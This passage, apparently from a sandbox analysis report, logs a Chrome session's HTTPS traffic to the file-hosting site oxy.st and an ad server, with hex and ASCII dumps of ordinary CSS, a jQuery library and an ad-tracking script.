6e 6b 73 20 73 70 61 6e 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b Data Ascii: ; border: 1px solid#3464e0; border-radius: 50%; -webkit-transition: .3s; transition: .3s; margin-right: 0px; font-size: 14px; padding: 12px; margin-left:18px;}.coming-soon .social-links span { background: transparent;
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 35 70 78 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 74 68 65 6d 69 66 79 27 3b 0a 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 61 6c 6c 20 2e 32 73 20 65 61 73 65 2d 6f 75 74 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2e 6e 61 76 2e 6e 61 76 2d 74 61 62 73 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 20 36 30 70 78 20 39 30 70 78 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 33 70 78 20 73 6f 6c 69 64 23 62 36 63 31 66 61 3b 0a 7d 0a Data Ascii: margin-top: -5px; top: 50%; width: 0; font-family:'themify'; transition: all .2s ease-out; display: none;}.nav.nav-tabs { text-align: center; position: relative; margin: 0px 60px 90px; border-bottom: 3px solid#b6c1fa;}
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 0a 7d 0a 2e 66 61 6d 65 77 6f 72 6b 2d 61 72 65 61 20 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 20 2e 62 72 61 6e 64 2d 73 69 6e 67 6c 65 2d 69 74 65 6d 20 69 6d 67 20 7b 0a 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 38 70 78 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 38 70 78 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 38 70 78 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 7d 0a 2e 62 72 61 6e 64 2d 73 69 6e 67 6c 65 2d 69 74 65 6d 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 62 72 61 6e 64 2d 73 69 6e 67 6c 65 2d 69 74 65 6d 2d 63 65 6c 6c 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 Data Ascii: }.famework-area .owl-carousel .owl-item .brand-single-item img { max-width: 108px; width: 108px; height: 108px; text-align: center; margin: 0 auto;}.brand-single-item{ text-align: center;}.brand-single-item-cell { display
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 3e 6c 69 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 61 2c 20 2e 70 61 67 69 6e 61 74 69 6f 6e 3e 6c 69 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 73 70 61 6e 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 70 61 67 69 6e 61 74 69 6f 6e 3e 6c 69 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 61 2c 20 2e 70 61 67 69 6e 61 74 69 6f 6e 3e 6c 69 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 73 70 61 6e 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 62 6f 72 64 65 Data Ascii: >li:first-child>a, .pagination>li:first-child>span { margin-left: 0; border-top-left-radius: 4px; border-bottom-left-radius: 4px; border: none;}.pagination>li:first-child>a, .pagination>li:first-child>span { margin-left: 0; borde

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49701	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:51 UTC	615	OUT	GET /slake/cookie.css?ver=6 HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
2024-06-15 09:14:51 UTC	374	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Fri, 14 Jun 2024 04:21:49 GMT Content-Type: text/css Content-Length: 548 Last-Modified: Mon, 15 Feb 2021 21:38:28 GMT Vary: Accept-Encoding ETag: "602ae9d4-224" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 103982 DDG-Cache-Status: HIT
2024-06-15 09:14:51 UTC	548	IN	Data Raw: 2e 63 6f 6f 6b 69 65 73 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 37 37 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 31 33 35 34 64 3b 0a 7d 0a 2e 63 6f 6f 6b 69 65 73 5f 5f 64 65 73 63 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 Data Ascii: .cookies { width: 100%; height: 77px; padding: 0 10px; display: flex; justify-content: center; align-items: center; background: #31354d;}.cookies__desc { font-style: normal; font-weight: normal; font-size: 14px;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49702	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:51 UTC	619	OUT	GET /slake/responsive.css?ver=5 HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
2024-06-15 09:14:51 UTC	378	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Fri, 14 Jun 2024 04:22:02 GMT Content-Type: text/css Content-Length: 79303 Last-Modified: Sun, 21 Jun 2020 22:27:36 GMT Vary: Accept-Encoding ETag: "5eefded8-135c7" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 103970 DDG-Cache-Status: HIT
2024-06-15 09:14:51 UTC	16006	IN	Data Raw: 2f 2a 20 4d 65 64 69 75 6d 20 4c 61 79 6f 75 74 3a 20 31 32 38 30 70 78 2e 20 2a 2f 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 31 33 36 36 70 78 29 7b 0a 2e 73 6c 69 64 65 72 2d 68 65 61 64 69 6e 67 7b 0a 20 20 20 20 6c 65 66 74 3a 20 39 2e 37 25 0a 7d 0a 2e 73 6c 69 64 65 72 2d 73 69 6e 67 6c 65 2d 69 74 65 6d 2e 73 6c 69 64 65 72 2d 73 69 6e 67 6c 65 2d 69 74 65 6d 2d 32 20 2e 73 6c 69 64 65 72 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 72 69 67 68 74 3a 20 39 2e 37 25 3b 0a 7d 0a 20 2e 73 6c 69 64 65 72 2d 73 69 6e 67 6c 65 2d 69 74 65 6d 2e 73 6c 69 64 65 72 2d 73 69 6e 67 6c 65 2d 69 74 65 6d 2d 32 20 2e 73 6c 69 64 65 72 2d 68 65 61 64 69 6e 67 2d 63 6f 6e 74 Data Ascii: /* Medium Layout: 1280px. */@media (min-width: 1170px) and (max-width: 1366px){.slider-heading{ left: 9.7%}.slider-single-item.slider-single-item-2 .slider-heading { right: 9.7%;} .slider-single-item.slider-single-item-2 .slider-heading-cont
2024-06-15 09:14:51 UTC	16384	IN	Data Raw: 6f 6e 65 3b 0a 7d 0a 61 2e 70 72 69 63 69 6e 67 2d 62 74 6e 2e 62 6c 75 65 2d 62 74 6e 2e 68 6f 6d 65 70 61 67 65 2d 6f 6e 65 2d 61 6c 6c 2d 66 65 61 74 75 72 65 73 2d 62 74 6e 2e 61 63 74 69 6f 6e 2d 62 74 6e 2e 73 6c 69 64 65 72 2d 6c 69 6e 6b 73 2d 31 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 33 70 78 20 32 32 70 78 3b 0a 7d 0a 61 2e 70 72 69 63 69 6e 67 2d 62 74 6e 2e 62 6c 75 65 2d 62 74 6e 2e 68 6f 6d 65 70 61 67 65 2d 6f 6e 65 2d 61 6c 6c 2d 66 65 61 74 75 72 65 73 2d 62 74 6e 2e 61 63 74 69 6f 6e 2d 62 74 6e 2e 73 6c 69 64 65 72 2d 6c 69 6e 6b 73 2d 32 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 38 70 78 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 34 38 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 33 Data Ascii: one;}a.pricing-btn.blue-btn.homepage-one-all-features-btn.action-btn.slider-links-1 { padding: 13px 22px;}a.pricing-btn.blue-btn.homepage-one-all-features-btn.action-btn.slider-links-2 { margin-left: 28px; margin-top: 48px; padding: 13
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 6b 6e 61 76 5f 6d 65 6e 75 74 78 74 20 7b 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 7d 0a 2e 73 6c 69 63 6b 6e 61 76 5f 6d 65 6e 75 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 29 20 6e 6f 6e 65 20 72 65 70 65 61 74 20 73 63 72 6f 6c 6c 20 30 20 30 3b 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 39 3b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 72 69 67 68 74 3a 20 30 3b 0a 20 20 20 20 74 6f 70 3a 20 2d 36 35 70 78 3b 0a 7d 0a 2e 73 69 6e 67 6c 65 2d 73 6c 69 64 65 72 2d 69 74 65 6d 20 69 6d 67 2e 70 6f 73 69 74 69 6f 6e 2d 69 6d 67 2d 32 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d Data Ascii: knav_menutxt { display: none; }.slicknav_menu { background: rgba(0, 0, 0, 0) none repeat scroll 0 0; z-index: 99999; position: absolute; right: 0; top: -65px;}.single-slider-item img.position-img-2 { display: none;}
2024-06-15 09:14:52 UTC	16018	IN	Data Raw: 0a 7d 0a 2e 74 65 73 74 69 2d 73 69 6e 67 6c 65 2d 69 74 65 6d 20 2e 69 74 65 6d 2d 69 6e 6e 65 72 20 2e 74 65 73 74 69 6d 6f 6e 69 61 6c 2d 6d 65 74 61 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 7d 0a 2e 74 65 73 74 69 6d 6f 6e 69 61 6c 2d 61 72 65 61 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 37 30 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 34 35 70 78 3b 0a 7d 0a 2e 74 65 73 74 69 6d 6f 6e 69 61 6c 2d 61 72 65 61 20 2e 73 65 63 74 69 6f 6e 2d 74 69 74 6c 65 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 35 30 70 78 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 0a 2e 72 Data Ascii: }.testi-single-item .item-inner .testimonial-meta p { font-size: 12px; margin: 0;}.testimonial-area { padding-top: 70px; padding-bottom: 45px;}.testimonial-area .section-title { margin-bottom: 50px; text-align: center;}.r
2024-06-15 09:14:52 UTC	14511	IN	Data Raw: 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 20 61 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 36 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 7d 0a 2e 68 65 61 64 65 72 2d 74 6f 70 2d 6c 65 66 74 20 75 6c 20 6c 69 20 69 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 37 70 78 3b 0a 7d 0a 2e 68 65 61 64 65 72 2d 74 6f 70 2d 6c 65 66 74 20 3e 20 75 6c 20 3e 20 6c 69 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0a 7d 0a 2e 68 65 61 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 20 75 6c 20 6c 69 3a 61 66 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a Data Ascii: der-top-right a { margin-left: 36px; font-size: 14px;}.header-top-left ul li i { padding-right: 7px;}.header-top-left > ul > li { display: inline-block; padding-right: 8px;}.header-top-right ul li:after { position: absolute;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49707	23.211.10.95	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:51 UTC	536	OUT	GET /dmedianet.js?cid=8CU7BC15F HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:52 UTC	319	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 368 Content-Type: text/javascript; charset=utf-8 X-MNT-H: 22-s1v0 Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 Cache-Control: max-age=300 Expires: Sat, 15 Jun 2024 09:19:52 GMT Date: Sat, 15 Jun 2024 09:14:52 GMT Connection: close
2024-06-15 09:14:52 UTC	4	IN	Data Raw: 20 20 20 20 Data Ascii:
2024-06-15 09:14:52 UTC	364	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 76 61 72 20 5f 6d 4e 20 3d 20 7b 0a 20 20 20 20 5f 63 69 64 20 3a 20 27 38 43 55 37 42 43 31 35 46 27 20 7c 7c 20 77 69 6e 64 6f 77 2e 6d 65 64 69 61 6e 65 74 5f 63 69 64 20 7c 7c 20 27 27 2c 0a 20 20 20 20 5f 63 72 69 64 20 3a 20 27 27 20 7c 7c 20 77 69 6e 64 6f 77 2e 6d 65 64 69 61 6e 65 74 5f 63 72 69 64 20 7c 7c 20 27 27 2c 0a 20 20 20 20 5f 66 6c 70 69 6e 67 20 3a 20 27 68 74 74 70 73 3a 2f 2f 6c 67 33 2e 6d 65 64 69 61 2e 6e 65 74 2f 66 6c 70 69 6e 67 2e 70 68 70 3f 72 65 61 73 6f 6e 3d 30 26 61 63 74 69 6f 6e 3d 31 36 26 70 69 64 3d 38 50 4f 4e 37 42 59 33 4f 26 67 64 70 72 3d 30 27 0a 7d 3b 0a 66 75 6e 63 74 69 6f 6e 20 6c 6f 67 46 61 69 6c 6f 76 65 72 50 69 6e 67 28 29 20 7b 0a 20 20 20 20 76 61 72 20 66 75 72 6c 20 Data Ascii: var _mN = { _cid : '8CU7BC15F' \|\| window.medianet_cid \|\| '', _crid : '' \|\| window.medianet_crid \|\| '', _flping : 'https://lg3.media.net/flping.php?reason=0&action=16&pid=8PON7BY3O&gdpr=0'};function logFailoverPing() { var furl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49709	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:52 UTC	607	OUT	GET /slake/asset/js/jquery.min.js HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
2024-06-15 09:14:52 UTC	392	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Fri, 07 Jun 2024 00:22:47 GMT Content-Type: application/javascript Content-Length: 86926 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-1538e" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 723125 DDG-Cache-Status: HIT
2024-06-15 09:14:52 UTC	15992	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 62 72 65 61 6b 3b 72 65 74 75 72 6e 28 78 2d 3d 69 29 3d 3d 3d 72 7c 7c 78 25 72 3d 3d 30 26 26 78 2f 72 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 69 3d 72 2e 70 73 65 75 64 6f 73 5b 65 5d 7c 7c 72 2e 73 65 74 46 69 6c 74 65 72 73 5b 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 6f 65 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 65 29 3b 72 65 74 75 72 6e 20 69 5b 62 5d 3f 69 28 74 29 3a 69 2e 6c 65 6e 67 74 68 3e 31 3f 28 6e 3d 5b 65 2c 65 2c 22 22 2c 74 5d 2c 72 2e 73 65 74 46 69 6c 74 65 72 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3f 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b Data Ascii: break;return(x-=i)===r\|\|x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]\|\|r.setFilters[e.toLowerCase()]\|\|oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 74 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 74 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 3d 74 68 69 73 2e 63 61 63 68 65 28 65 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 29 69 5b 47 28 74 29 5d 3d 6e 3b 65 6c 73 65 20 66 6f 72 28 72 20 69 6e 20 74 29 69 5b 47 28 72 29 5d 3d 74 5b 72 5d 3b 72 65 74 75 72 6e 20 69 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 74 3f 74 68 69 73 2e 63 61 63 68 65 28 65 29 3a 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 26 26 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 5b 47 28 74 29 5d 7d 2c 61 63 63 65 73 73 Data Ascii: ,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[G(t)]=n;else for(r in t)i[G(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][G(t)]},access
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 65 6e 64 43 68 69 6c 64 28 65 29 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 52 65 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 74 3d 4c 65 28 74 68 69 73 2c 65 29 3b 74 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 74 2e 66 69 72 73 74 43 68 69 6c 64 29 7d 7d 29 7d 2c 62 65 66 6f 72 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 52 65 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 26 Data Ascii: endChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var t=Le(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 7d 7d 7d 2c 70 72 6f 70 46 69 78 3a 7b 22 66 6f 72 22 3a 22 68 74 6d 6c 46 6f 72 22 2c 22 63 6c 61 73 73 22 3a 22 63 6c 61 73 73 4e 61 6d 65 22 7d 7d 29 2c 68 2e 6f 70 74 53 65 6c 65 63 74 65 64 7c 7c 28 77 2e 70 72 6f 70 48 6f 6f 6b 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 74 26 26 28 74 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 Data Ascii: }}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected\|\|(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.pa
2024-06-15 09:14:52 UTC	5398	IN	Data Raw: 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 67 28 74 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 74 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 28 29 3a 74 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 2c 73 3f 74 5b 73 5d 3d 74 5b 73 5d 2e 72 65 70 6c 61 63 65 28 51 74 2c 22 24 31 22 2b 69 29 3a 21 31 21 3d 3d 74 2e 6a 73 6f 6e 70 26 26 28 74 2e 75 72 6c 2b 3d 28 6b 74 2e 74 65 73 74 28 74 2e 75 72 6c 29 3f 22 26 22 3a 22 3f 22 29 2b 74 2e 6a 73 6f 6e 70 2b 22 3d 22 2b 69 29 2c 74 2e 63 6f 6e 76 65 72 74 65 72 73 5b 22 73 63 72 69 70 74 20 6a 73 6f 6e 22 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7c 7c 77 2e 65 72 72 6f 72 28 69 2b 22 20 77 61 73 20 6e 6f 74 20 63 61 6c 6c 65 64 22 29 2c 61 5b 30 5d 7d 2c 74 2e 64 61 74 61 54 79 70 65 73 5b Data Ascii: sonpCallback=g(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(Qt,"$1"+i):!1!==t.jsonp&&(t.url+=(kt.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a\|\|w.error(i+" was not 